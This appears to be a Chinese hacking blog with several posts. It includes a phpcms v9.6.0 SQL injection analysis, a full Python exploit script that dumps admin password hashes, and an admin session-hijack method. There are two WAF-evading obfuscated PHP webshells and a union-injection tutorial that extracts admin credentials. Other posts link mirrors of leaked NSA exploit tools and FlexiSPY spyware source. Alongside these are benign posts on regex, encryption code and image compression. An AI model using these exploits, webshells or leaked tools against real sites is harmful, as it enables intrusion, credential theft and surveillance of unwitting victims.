phpcms_v9.6.0_sql注入与exp

phpcms_v9.6.0_sql注入分析

可疑的函数

localhost/phpcms/modules/attachment/attachments.php文件的第241GET提交src变量带上了safe_relace函数,现在我们跟入这个该死的过滤函数看看它到底在搞什么鬼....*/

2.过滤函数剖析和绕过

localhost/phpcms/libs/functions/global.func.php文件的63行开始可以看到此处将传入的%27和%2527都进行删除处理也就是还没传入数据库前就已经被该死的程序吃了,但是在67行看到他还吃了*这样我们就有办法了也就是传入%*27程序吃掉星号后%27就会被传入。*/

3.src变量到底去哪了

/*这里不做截图请回到第一步的截图查看,在241行代码src传入arr数组后在243行被json_encode函数加密为json格式后传入json_str数组,然后在244行代码又将json加密为cookie。在这里我做个大胆的假设src存在注入那么我们要传入参数:src=%*27 updatexml(1,concat(1,(user())),1)%23;那么我们传入的参数将会被json加密后最终成为了:{src:%*27 updatexml(1,concat(1,(user())),1)%23};再然后就是cookie加密这里不做计算cookie加密值需要的同学自己echo,假设暂且到这,它的最终这些动作都被赋值为swfupload_json函数。到此src变量故事以及完结请看下一章。*/

down.php的decode成全了我

/*在localhost/phpcms/modules/content/down.php的第14行代码将a_k变量进行了decode操作这样子我们把刚刚在src进行加密的SQL传入a_k他就会进行解密还原回json,17行 将json字符串解析成变量 -> parse_str 以 & 区分,将字符串解析成3个变量最后传入SQL为:{“aid":1,"src":"&id=%27 updatexml(1,concat(1,(user)),1)#&m=1&f=haha&modelid=2&catid=7&”,”filename”:””};此处可以看到之前%*27的*没了因为已经被他妈的狗比安全函数吃了*。最后我们看在第26行代码将id传入SQL字段id既然这样那就OK了我们尝试还原。*/

phpcms_v9.6.0_sql注入还原

1.访问/index.php?m=wap&c=index&a=init&siteid=1获取一个cookie值传入该死的src那块操作否则会没有身份

2.把这个傻逼cookie的值复制下来以POST传入userid_flash变量访问/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26不要问我URL编码里面是什么东西我会告诉你那是SQL的Payload

3.上一步我们已经获取到了通过json在通过cookie加密的SQL了因为他返回的cookie就是已经加密的SQLPayload现在我们传入到a_k变量看看到底发生了什么?

网上这个文档传的很快

作者我也不知道是谁

大家都把版权改成自己的

我也是醉了

有知情人士可留言~给人家一个版权

下面是EXP:

import requests,sys,urllib

url = sys.argv[1]

print 'Phpcms v9.6.0 SQLi Exploit Code By Luan'

sqli_prefix = '%*27an*d%20'

sqli_info = 'e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*er(),0x3a,ver*sion(),0x6c75616e24))x))'

sqli_password1 = 'e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x6c75616e24,username,0x3a,password,0x3a,encrypt,0x6c75616e24) fr*om '

sqli_password2 = '_admin li*mit 0,1)x))'

sqli_padding = '%23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6'

setp1 = url + '/index.php?m=wap&a=index&siteid=1'

cookies = {}

for c in requests.get(setp1).cookies:

if c.name[-7:] == '_siteid':

cookie_head = c.name[:6]

cookies[cookie_head+'_userid'] = c.value

cookies[c.name] = c.value

print '[+] Get Cookie : ' + str(cookies)

setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_info, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding

for c in requests.get(setp2,cookies=cookies).cookies:

if c.name[-9:] == '_att_json':

sqli_payload = c.value

print '[+] Get SQLi Payload : ' + sqli_payload

setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload

html = requests.get(setp3,cookies=cookies).content

print '[+] Get SQLi Output : ' + html.split('luan$')[1]

table_prefix = html[html.find('_download_data')-2:html.find(    '_download_data')]

print '[+] Get Table Prefix : ' + table_prefix

setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_password1, safe='qwertyuiopasdfghjklzxcvbnm*') + table_prefix + urllib.quote_plus(sqli_password2, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding

for c in requests.get(setp2,cookies=cookies).cookies:

if c.name[-9:] == '_att_json':

sqli_payload = c.value

print '[+] Get SQLi Payload : ' + sqli_payload

setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload

html = requests.get(setp3,cookies=cookies).content

print '[+] Get SQLi Output : ' + html.split('luan$')[1]

exp也是别人分享给我的

看起来作者应该是luan

测试地址:

122.9.16.209


成功截图:

不过呢,众所周知

phpcms的密文特别难解密

所以有个配合使用的方法

通过sql注入漏洞读取数据库信息

但是不能破解密码的情况下

可以绕过后台验证

phpcms数据库中表v9_session

保存着管理员登录的信息

而且字段sessionid保存着就是

已经登录管理后台的PHPSESSID

可以通过sql注入读取到这个值

并写入到自己的浏览器中。

直接访问后台地址:

/index.php?m=admin&c=index&a=public_menu_left

将数据库中的sessionid信息带入!

相关文章网上也有

最后,我还是觉得这个漏洞挺鸡肋的

至于哪里鸡肋请看官细细体会

还有几个更牛逼的漏洞也许

过几天就会有人放出来了

反正我不做第一个吃螃蟹的人了

怕被打死~

原文地址:https://zhuanlan.zhihu.com/p/26263513

PS:很多政府机关/事业单位都是phpcms,我批量检测里面有很多都中招了,赶紧升级吧!阿西吧...据说二月份就出来了...


Mrxn 发布于 2017-4-24 21:30

号称全球最权威的监控软件 FlexiSPY 被黑,相关源码、编译、文档被泄漏

号称全球最权威的监控软件 FlexiSPY 被黑,相关源码、编译、文档被泄漏,

在4月22日,由 @fleximinx 储存整理.

Source files:


bb_cyclops.zip d84f692b12c732e14ad463b4d7d0ec34 from Tweet Mega : files in 2012-01-11_v.1.03.2 folder

Gamma.zip cff15a5bad15118a7e43c1c3f0d13df1 from Tweet Mega : Gamma Symbian malware certs/signatures in Gamma folder

bin.zip aa735cb779ce9089665eb821f596a7eb from Tweet Mega : binaries of apps in bin folder

omni.zip 4677a66eab2d44e410dfb36da64705c5 from Tweet Mega : source code of Android app in 1.00.1 folder

android_cyclops.zip 5c80bcb6576d5c58143ea48ee43de5f8 from Tweet Mega : source code of Android Cyclops in Cyclops -1.00.4 folder

iphone_phoenix_4.9.1.zip 25b7416a26624ffec76b3197f84f0d59 Tweet Mega : source code of IOS app in FlexiSPY Phoenix 4.9.1 folder



github备份地址: https://github.com/Mrxn-code/flexidie


其实 FlexiSPY 就是个灰色地带的“间谍”软件。

FlexiSPY 官网有中文页面,可以细细了解下它在干什么:

https://www.flexispy.com/zh/





Mrxn 发布于 2017-4-24 10:29

小计一个正则匹配提取实例之从网页中提取所有域内链接

比如某个网站包含如下的内容:


<select name="select7" class="textbox" style="width: 200px;" onchange="MM_jumpMenu('parent',this,0)">
          <option selected="selected">---------〖校内机构〗---------</option>
          <option>————管理机构————</option>
          <option value="/dzbgs/">党政办公室</option>
          <option value="/xcb/">党委组织宣传部</option>
          <option value="/rsc/">人事处</option>
          <option value="/jwc/">教务处</option>
          <option value="/xsc/">学生处(党委学工部)</option>
          <option value="/zsxx/">招生办公室</option>
          <option value="/jyb/">就业指导办公室</option>
          <option value="/cwc/">财务处</option>
          <option value="/zcc/">资产管理处</option>
                    <option value="/wsc/">国际合作交流处</option>
          <option value="/kyc/">科研处</option>
          <option value="/dds/">督导室</option>
          <option value="/zlpg/">质量监控与评估中心</option>
          <option value="/bwc/">保卫处(武装部、安全稳定办公室)</option>
          <option value="/hq/">后勤服务公司</option>

          <option>————教学机构————</option>
          <option value="/yyyyxy/">英语语院</option>
                              <option value="/dfyyyxy/">东方语学院</option>
                    <option value="/yayyxy/">西方语学院</option>
                    <option value="/gjsxy/">国际商学院</option>
          <option value="/gjwhjlxy/">文学与新闻传播学院</option>
          <option value="/gsgl/">管理学院</option>
          <option value="/ysxy/">艺术学院</option>
          <option value="/yyxy/">音乐学院</option>
          <option value="/szjyb/">思想政治理论教研部</option>
                 <option value="/tyb/">体育部</option>
                                     <option value="/jxjyxy/">继续教育学院</option>

          <option>————教辅机构————</option>
          <option value="/tsg/">图书馆</option>
          <option value="/net/">现代教育技术中心</option>

           <option>————教辅机构————</option>
          <option value="/gh/">工会</option>
          <option value="/tw/">团委</option>
        </select>

我们要提取你面的所有的内域的网址,就是value后面的值:"/tw/",手工不说,最为原始的方法,体力活我们要尽量少干,正则走起啊!


使用正则提取两个双引号之间的内容,正则表达式很简单:

/(.*)[A-Z-a-z]/


Mrxn_20170422_213938.png

这样我们提取出来了,可是没有加上域名啊,如何是好?答案就是继续正则啊,骚男不要犹豫,对于网页内内容,没有正则提取不了的(先吹个牛逼-_-|hh ):

(.?^/)


Mrxn_20170422_214045.png

直接批量替换每行的第一个斜杠为域名不就OK了,上图域名结尾少了个斜杠.别跳坑里了!效果如下,就好了,前前后不到一分钟搞定,收工,比我写这篇文章还快!

本来不想写的,这么久了没发文章,手痒痒,凑个数!仅当笔记.


http://www.xxxx.com/dzbgs/
http://www.xxxx.com/xcb/
http://www.xxxx.com/rsc/
http://www.xxxx.com/jwc/
http://www.xxxx.com/xsc/
http://www.xxxx.com/zsxx/
http://www.xxxx.com/jyb/
http://www.xxxx.com/cwc/
http://www.xxxx.com/zcc/
http://www.xxxx.com/wsc/
http://www.xxxx.com/kyc/
http://www.xxxx.com/dds/
http://www.xxxx.com/zlpg/
http://www.xxxx.com/bwc/
http://www.xxxx.com/hq/
http://www.xxxx.com/yyyyxy/
http://www.xxxx.com/dfyyyxy/
http://www.xxxx.com/yayyxy/
http://www.xxxx.com/gjsxy/
http://www.xxxx.com/gjwhjlxy/
http://www.xxxx.com/gsgl/
http://www.xxxx.com/ysxy/
http://www.xxxx.com/yyxy/
http://www.xxxx.com/szjyb/
http://www.xxxx.com/tyb/
http://www.xxxx.com/jxjyxy/
http://www.xxxx.com/tsg/
http://www.xxxx.com/net/
http://www.xxxx.com/gh/
http://www.xxxx.com/tw/

好了,牛逼吹完了,洗洗睡了.我们下回见,对于不懂得正则可以评论,我可以帮你试试哦!

PS: 牛逼的娃娃们不要乱搞,这是我测试项目的.谢谢!


标签: 代码 正则

Mrxn 发布于 2017-4-22 21:27

NSA 方程式组织又被泄了一批好东西,主要是windows的exploit

点击查看原图


Decrypted content of odd.tar.xz.gpg, swift.tar.xz.gpg and windows.tar.xz.gpg

Downloaded from https://yadi.sk/d/NJqzpqo_3GxZA4 Original post from the #ShadowBrokers https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation

  • windows: contains Windows exploits, implants and payloads
  • swift: contains operational notes from banking attacks
  • oddjob: docs related to the ODDJOB backdoor

相关链接: https://yadi.sk/d/NJqzpqo_3GxZA4  解压密码: Reeeeeeeeeeeeeee

这次的文件有三个目录,分别为“Windows”、“Swift” 和 “OddJob”,包含一堆令人震撼的黑客工具(我们挑几个重要的列举如下):

EXPLODINGCAN 是 IIS 6.0 远程漏洞利用工具

ETERNALROMANCE 是 SMB1 的重量级利用,可以攻击开放了 445 端口的 Windows XP, 2003, Vista, 7, Windows 8, 2008, 2008 R2 并提升至系统权限。

除此之外 ERRATICGOPHER 、ETERNALBLUE 、ETERNALSYNERGY 、ETERNALCHAMPION 、EDUCATEDSCHOLAR、 EMERALDTHREAD 等都是 SMB 漏洞利用程序,可以攻击开放了 445 端口的 Windows 机器。

ESTEEMAUDIT 是 RDP 服务的远程漏洞利用工具,可以攻击开放了3389 端口的 Windows 机器。

FUZZBUNCH 是一个类似 MetaSploit 的漏洞利用平台。

ODDJOB 是无法被杀毒软件检测的 Rootkit 利用工具。

ECLIPSEDWING 是 Windows 服务器的远程漏洞利用工具。

ESKIMOROLL 是 Kerberos 的漏洞利用攻击,可以攻击 Windows 2000/2003/2008/2008 R2 的域控制器。


命名为 Windows 文件夹中的黑客工具适用于较早版本的 WindowsNT、windows 2000、XP、windows 7、windows 8等等。



下面的是我克隆的一份.以作备用,话说,国内的反应速度都好慢....关于exploit的威力,自行测试,反正我试了几个,很满意!哈哈.

https://github.com/Mrxn-code/EQGRP_Lost_in_Translation  (不懂的就不要来唧唧歪歪的问这问那,懂的人自然知道)


Mrxn 发布于 2017-4-15 09:25

Discuz 加密解密函数 authcode
PHP

<?php
/**
 * $string 明文或密文
 * $operation 加密ENCODE或解密DECODE
 * $key 密钥
 * $expiry 密钥有效期
 */ 
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙
    // 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。
    // 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方
    // 当此值为 0 时,则不产生随机密钥
    $ckey_length = 4;

    // 密匙
    // $GLOBALS['discuz_auth_key'] 这里可以根据自己的需要修改
    $key = md5($key ? $key : $GLOBALS['discuz_auth_key']); 

    // 密匙a会参与加解密
    $keya = md5(substr($key, 0, 16));
    // 密匙b会用来做数据完整性验证
    $keyb = md5(substr($key, 16, 16));
    // 密匙c用于变化生成的密文
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    // 参与运算的密匙
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    // 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性
    // 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    // 产生密匙簿
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    // 核心加解密部分
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        // 从密匙簿得出密匙进行异或,再转成字符
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($operation == 'DECODE') {
        // substr($result, 0, 10) == 0 验证数据有效性
        // substr($result, 0, 10) - time() > 0 验证数据有效性
        // substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性
        // 验证数据有效性,请看未加密明文的格式
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        // 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因
        // 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码
        return $keyc.str_replace('=', '', base64_encode($result));
    }
}

$a = "mrxn.net";
$b = authcode($a, "ENCODE", "abc123");
echo $b."<br/>";
echo authcode($b, "DECODE", "abc123");
?>

运行效果如下:

4582HxrlipjHXFJ8fCB42AzZN6N0A/S07AFgev8swj1a6Qy/fxhuJFM

mrxn.net

注:因学习需要,转载挡笔记.文章来源于网络.


Mrxn 发布于 2017-4-14 11:21

手工注入之联合查询注入实例

首先找到一个URL

1.jpg

然后尾部添加’,测试一下是否有注入点,

2.jpg

然后输入and 1=1,页面正常返回,可能是存在注入点,

3.jpg

然后输入and 1=2,页面报错,可能存在注入点,因为我输入的1=1和1=2可能被执行,因为1=1为真所以页面正确,1=2为假,所以页面报错。

4.jpg

然后,我们在链接后面添加语句 order by,根据页面返回结栗,来判断站点中的字段数目,最后发现order by 11正常显示,到时12就报错了,说明字段数目是为11。

5.jpg

接下来,在链接后面添加语句 union select 1,2,3,4,5,6,7,8,9,10,from admin (表名),进行联合查询,来暴露可查询的字段编号,如图可见,

点击查看原图

最后,根据上一步得到的字段编号,添加语句 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin,把页面上暴露的字段编号换成自己想查询的内容,即可在网页相应位置显示。

点击查看原图

注:本文纯属在没有任何waf和程序的过滤条件下,为了明白易懂,所做的教程.如果是有过滤和waf需要适当的调整语句,编码等等,利用火狐的hackbar插件很方便的.如下图(更多的hackbar功能请自行Google):

Mrxn_20170413_110216.png



Mrxn 发布于 2017-4-13 10:47

警惕office出轨,慎点不可描叙的地方

刚看到微步出了报告,感觉也只是冰山一角,这个漏洞最早由卖咖啡和火眼爆出,看nccgroup报告16底就已经出现,近期开始特别活跃起来,有用于rat/rookit/银行木马。


样本会是一个rtf格式的文档,后缀可以是doc等office文档。


一个关键点是攻击者需要搭建一个服务器,通过olelink对象产生的请求可以返回成一个pplication/hta类型,运行脚本完成最终的payload。


因此,样本会具有实时性,黑客如果关闭下载hta的服务器将很难追踪分析到最终的payload。


想了解详情的同学,推荐关注火眼和nccgroup的报告,完整的exploit估计也快公开了~

点击查看原图


Mrxn 发布于 2017-4-13 06:20

HP的$_SERVER['HTTP_HOST']获取服务器地址功能详解
PHP

uchome的index文件中的二级域名功能判断,使用了php的$_SERVER['HTTP_HOST'],开始对这个不是很了解,所以百度了一下,发现一篇帖子有点意思,转发过来做个记录。

在php中,我们一般通过$_SERVER['HTTP_HOST']来活得URL中网站的域名或者ip地址。

php手册中的解释如下:

“HTTP_HOST”

当前请求的 Host: 头信息的内容。

一般来说,这样子不会遇到什么问题,在一些常见的php框架中,如PFC3和FLEA也是基于该预定义变量。

然而最近在做的一个项目,程序移交到客户手里测试时,竟然发现程序的跳转总是会出错。

最后找出原因:$_SERVER['HTTP_HOST']在客户的环境里,取得的值总是程序所在的服务器在其局域网内的ip值。

究其原因,是因为,客户的公司通过一台服务器连接至因特网,而我们的程序所在的服务器,是通过域名映射出来的,也就是中间有个“代理”的过程。因此$_SERVER['HTTP_HOST']在这样的环境里,取得的值总是程序所在的服务器在其局域网内的ip值。

最后查了不少资料,在symfony框架里面,找到替代的实现方法:

$host = $_SERVER['HTTP_HOST'];

替换成:

$host = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');

即可。

注:我刚好遇到这个问题,所以搜索找到了这篇文章,故转载以当作笔记.

原文地址:https://www.oschina.net/question/36370_14769


Mrxn 发布于 2017-4-12 19:11

FileOptimizer-利用谷歌开源的图片算法Guetzli优化你的图片

先做个简单的介绍,估计很多人不知道这个软件:

FileOptimizer是一种高级文件优化器,具有无损(无质量损失)文件大小压缩功能,可支持的文件类型有:

.3GP, .A, .AAI, .AC, .ACC, .ADP, .AI, .AIR, .APK, .APNG, .APPX, .APR, .ART, .AVS, .BAR, .BMP, .BPL, .BSZ, .CBT, .CBZ, .CDR, .CDT, .CHI, .CHM, .CHQ, .CHS, .CHW, .CPL, .CSL, .CSS, .DB, .DCX, .DEB, .DES, .DIB, .DLL, .DOC, .DOCM, .DOCX, .DOT, .DOTM, .DOTX, .DRV, .DWF, .DWFX, .EASM, .EML, .EMLX, .EPDF, .EPRT, .EPUB, .EXE, .FAX, .FB2, .FDF, .FITS, .FLA, .FLAC, .FPX, .FXG, .GALLERY, .GALLERYCOLLECTION, .GALLERYITEM, .GIF, .GRS, .GZ, .HDR, .HRZ, .HTM, .HTML, .ICO, .INK, .IPA, .IPK, .IPSW, .ITA, .ITS, .ITZ, .JAR, .JFI, .JFIF, .JIF, .JNG, .JP2, .JPC, .JPE, .JPEG, .JPG, .JPS, .JS, .JSON, .KML, .KMZ, .KSF, .LIB, .LIT, .LUA, .LUAC, .LXF, .LZL, .M4A, .M4B, .M4P, .M4R, .M4V, .MAX, .MBX, .MCE, .MDB, .MDT, .MDZ, .MHT, .MHTML, .MIC, .MIF, .MIFF, .MIX, .MIZ, .MKA, .MKS, .MKV, .MMIP, .MNG, .MP3, .MP4, .MPD, .MPO, .MPP, .MPT, .MSC, .MSG, .MSI, .MSP, .MST, .MSZ, .MTV, .MTW, .MVZ, .NAR, .NBK, .NOTEBOOK, .O, .OBJ, .OCX, .ODB, .ODF, .ODG, .ODP, .ODS, .ODT, .OEX, .OGA, .OGG, .OGV, .OGX, .OLE, .OLE2, .ONE, .OPT, .OSK, .OST, .OTB, .OXPS, .P7, .PALM, .PBM, .PCC, .PCD, .PCDS, .PCX, .PDB, .PDF, .PFM, .PGM, .PIC, .PICON, .PICT, .PK3, .PNG, .PNM, .PNS, .POTM, .POTX, .PPAM, .PPM, .PPS, .PPSM, .PPSX, .PPT, .PPTM, .PPTX, .PSB, .PSD, .PTIF, .PTIFF, .PUB, .PUZ, .R2SKIN, .RDB, .RFA, .RFT, .RMSKIN, .RTE, .RVT, .S3Z, .SCR, .SGML, .SLDASM, .SLDDRW, .SLDM, .SLDPRT, .SLDX, .SOU, .SPL, .SPO, .STZ, .SUN, .SVG, .SVGZ, .SWC, .SWF, .SYS, .TAR, .TGZ, .THM, .TIF, .TIFF, .VBX, .VCARD, .VCF, .VDX, .VICAR, .VIFF, .VLT, .VSD, .VSS, .VST, .VSX, .VTX, .WAL, .WBA, .WBMP, .WEBP, .WIZ, .WMZ, .WPS, .WSZ, .XAP, .XBM, .XHTML, .XL, .XLA, .XLAM, .XLC, .XLM, .XLS, .XLSM, .XLSX, .XLTM, .XLTX, .XLW, .XML, .XMZ, .XNK, .XPI, .XPM, .XPS, .XSF, .XSL, .XSLT, .XSN, .XWD, .ZIP, STICKYNOTES.SNT, and THUMBS.DB 等格式.



2017年3月16日谷歌新开源了一个图片压缩优化算法Guetzli。这是谷歌官方的博客 

FileOptimizer是一个通用文件优化器,它是Guetzli支持的程序之一。

官方网站: http://nikkhokkho.sourceforge.net/static.php?page=FileOptimizer

当然在sourceforge.net也可以下载的: https://sourceforge.net/projects/nikkhokkho/files/FileOptimizer/ 

下面我就说一下我的使用体会和我觉得大家应该注意的地方:

  1. 软件分为两中形式的,一个是安装包的gui界面,一个是压缩包形式,直接解压缩修改配置文件就可以使用.
  2. 第一是安装包的下载地址:链接: https://pan.baidu.com/s/1kV1Dtbx 密码: mrxn
  3. 压缩包形式的下载地址:链接:https://pan.baidu.com/s/1crMsiE 密码:mrxn
  4. 不管是安装版的还是压缩包形式的,都要设置才能使用最新的图片压缩算法Guetzli.怎么设置我在下面会讲.

我自己使用的是安装版的,我就讲一下安装版的,压缩包的网上有人已经写了,我就不在重复,我会给出链接的.

当我们安装好之后,打开软件,在菜单栏依次找到Optimize--Options. 然后在弹出的对话框按照我的图片设置就行:

第一个界面的 Do not use recycle bin .意思就是说是否需要保留源文件到回收站中,默认是保留的,你优化完文件觉得不好,想找回源文件就去回收站恢复就行了.当然,在回收站里面是会占用你得内存的,所以如果你觉得没必要保留就把复选框选上,之后优化文件就不会保留源文件到回收站了.

Mrxn_20170410_102623.png

第二个就是在png那个图片那里设置把 Allow lossy optimizations 复选框勾上,默认是没有勾上的.还有就是JPEG的Use arithmetic encoding的复选框勾上.下面把工作界面说一下,看图(新窗口查看高清大图):

Mrxn_20170410_100954.png

下面看我的对比测试,我把我的博客的所有上传文件夹使用zip打包后,大小为136M,我使用FileOptimizer压缩后,大小变为74M,减小了54%.总体的减小不但节约了服务器空间成本,更重要的是每个单个的图片的体积减小可以加快网页的加载速度,提升用户体验.这对站长来说还是比较开心的吧!

20170409_192318.pngMrxn_20170410_095715.png

而且,他不支持的文件格式他会自动跳过,你不用担心.

说了这么多的优点,来说说他的缺点:

就是处理速度慢,一张1M左右的图片处理会要两三分钟,但是平时的网站图片来说,200-300Kb的需要5-6秒.如果图片比较多,建议网上挂机处理或者是放在远程服务器上挂机处理.但是重要的是:

实测对质量在90或以下的jpg图片,guetzli输出的新图质量不会降低。而实际压缩率能够达到平均压缩率29%。

兼容性比较好,输出的jpeg格式图片通用性非常高。没有webp、sharpp那种协议不兼容的困扰。

在客户端jpeg格式的图片编解码速度比其他私有协议快很多。


下面说一下压缩包的使用方法:



Guetzli不是默认的解码器,因为它并不是无损的,所以要在FileOptimizer中启用Guetzli支持。所以你需要执行以下步骤:

  1. 在安装路径下打开FileOptimizer[你安装的位数].ini

小编的是

D:\FileOptimizer\FileOptimizer64.ini 

2.找到JPEGAllowLossy参数,并将其设置为true。

在26行(Notepad++打开)

3.重启FileOptimizer软件

优化你的图片

小编随便使用了几张图片

最后看见优化效果还是不错的

参考链接: 腾云阁技术分析  Google图片压缩优化算法Guetzli的体验报告


Mrxn 发布于 2017-4-10 11:51

如何绕过安全狗waf这类的防护软件--PHP过狗一句话实例两枚+过狗详细分析讲解

00x01

   目前大多数网站都存在类似安全狗,360主机卫士的防护软件,所以今天咱们来一波虐狗

00x02

   下面是我整理的一些免杀的思路:    

               1.关键字替换

               2.组合猜分

               3.关键函数替换

               4.加解密/编码/解码

               5.可变变量

       可变变量顾名思义,变量的变量

       例:

        $a='b';$b='hello world!';echo $$a;

00x03

   一句话原型:

snipaste_20170409_133924.png


一句话原型可以分为以下两部分:

   eval()                   ------>    函数部分

   $_POST["ceshi"]    ------>    传值部分


00x04

   想要绕过安全狗,我们首先要想到它的过滤机制,我做了一番测试,直接放一句话原型上去,会被杀,然而注释掉传值部分就不会被杀,所以我们要混淆

传值部分,函数部分也混淆,让这类防护软件傻傻分不清,从而达到免杀的效果(欢迎各位老表小弟释放出你们的淫荡姿势-_-||)。

00x05

传值方式:

               1.$_GET

               2.$_POST

               3.$_REQUEST


可能会用到的函数:            

assert() eval() str_replace()

               trim() ltrim() rtrim()

               array() rand()


00x06

免杀系列:

//例1:
<?php
    $c = 'w';$w = 'assert';
    $a = array(/**/$_REQUEST["ceshi"],/**/$_GET["ceshi"],/**/$_POST["ceshi"],/**/$_FILE["ceshi"],/**/$_COOKIE["ceshi"]);
    foreach($a as $k => $v){
        if($k==$_GET["a"]){//a=0
            $$c($v);
        }
    }
?>

//例2:
<?php
    $a = str_replace('c','',trim('ssscacssss','s').ltrim('aaascc','a').rtrim('ccsbbbbb','b').trim('vvvvcecvvvvvv','v').trim('sssscrcssss','s').ltrim('aaaactc','a'));
    $b = array('ccc',/**/$_POST["w"],/**/$_REQUEST["w"]);
    foreach($b as $k => $v){
        if($k == rand($_GET["a"],$_GET["b"])){//a=1&b=2
            $a($v);
        }
    }
?>

下面配上过狗的截图,昨天新鲜出炉的,欢迎食用.(请点击图片浏览高清原图):

点击查看原图

今天就写到这里,我们下次见!


Mrxn 发布于 2017-4-9 13:34

代码审校工程师系列之-PHP漏洞发掘及代码防御
PHP

教程来自一位想我求助解压密码的读者,我大致看了一下是2011年左右的,具体的是谁出的教程不知道,不过,作为学习PHP代码审计的还是不错。特地在此分享一下,课程目录如下:

解压密码合集.txt
Seay-Svn源代码泄露漏洞利用工具.rar
新浪web安全培训.ppt
Seay源代码审计系统2.0.rar
第3课sql注入及防护(2).rar
第1课课程环境搭建.rar
第2课sql注入及防护.rar
第7课文件包含漏洞及代码防御.rar
第10课反射型XSS漏洞和防御.rar
第5课命令执行漏洞及代码防御.rar
第17课打造自己的php防御代码.rar
第6课命令执行漏洞实践防御.rar
第11课存储型XSS漏洞和实践.rar
第16课php函数漏洞及代码防御.rar
第9课CSRF漏洞和防御.rar
第8课文件包含漏洞实战挖掘.rar
第13课php文件上传漏洞和代码防御2.rar
第4课sql注入及防护(3).rar
第12课php文件上传漏洞和代码防御.rar
第18课php安全配置加固.rar
第14课php文件上传漏洞代码分析及防御实践.rar
第15课通过7种方式分析php获取webshell漏洞.rar
下载链接:点我传送,如果失效,请联系我更改。


Mrxn 发布于 2017-4-7 15:59

勒索?没钱!要命不?不给!

宅客频道谢幺最近发现了一个神奇的网站 ,看名字就感觉牛逼轰轰的:

No more Ransom( 不再付赎金)

No more Ransom ,不再付赎金!没钱!“要钱没有,要命一条” 。

打开首页,依然调性十足,上来就直入主题:“小伙,需要帮你解锁被黑客加密勒索的数据吗?”

0.jpg


上来就问我需不需要服务, 我当然不能示弱,“NO”,不需要!

然后静静等待接下来发生的事情……结果出现了一条网络勒索的预防建议(注:我看不懂英文所以用机器翻译成中文了),感觉还挺贴心的。

1.jpg



如果点击“Yes” (需要服务), 一个“密码警长”(Crypto Sheriff)的头像出现了,他会让你提交勒索者加密的文件以及勒索信息,然后为你搜寻目前网上的解密方案,如果有的话,会免费提供方案下载。

2.jpg



警长的意思似乎是:

“别怕,告诉我是谁,警长罩着你!”


除了提供被勒索的解决方案,这个网站还提供了数十款勒索软件的解密工具和使用指南,最关键是完全免费。

3.jpg


其实,这位“密码警长”的背后真的是警察在做支撑,还是国际刑警。


这个名为“No more ransom ”的项目是一年前由荷兰警署、欧洲国际刑警出资,联合卡巴斯基、因特尔安全两家安全机构共同建立的国际“反勒索”平台。


据外媒报道的数据,这个平台成立至今,已经有超过10,000 名来自世界各地的受害者来到这个网站寻求帮助,并成功在没花一分钱的情况下完成数据解密。


平台还充分发挥了众筹的精神,上面的大部分勒索软件解密工具都是由来自世界各地的安全机构和个人开发者免费提供的。


项目刚推出几个月,就汇聚了非常多的解密工具。2016年底,又有 15个新的勒索解密工具加入了“反勒索”豪华午餐,为勒索受害者带来了新的希望。


提供这些解密工具的分别有(好人好事必须点个名):


Avast、Bitdefender、CheckPoint、Trend Micro、Eleven Paths、Emsisoft、Kaspersky Lab


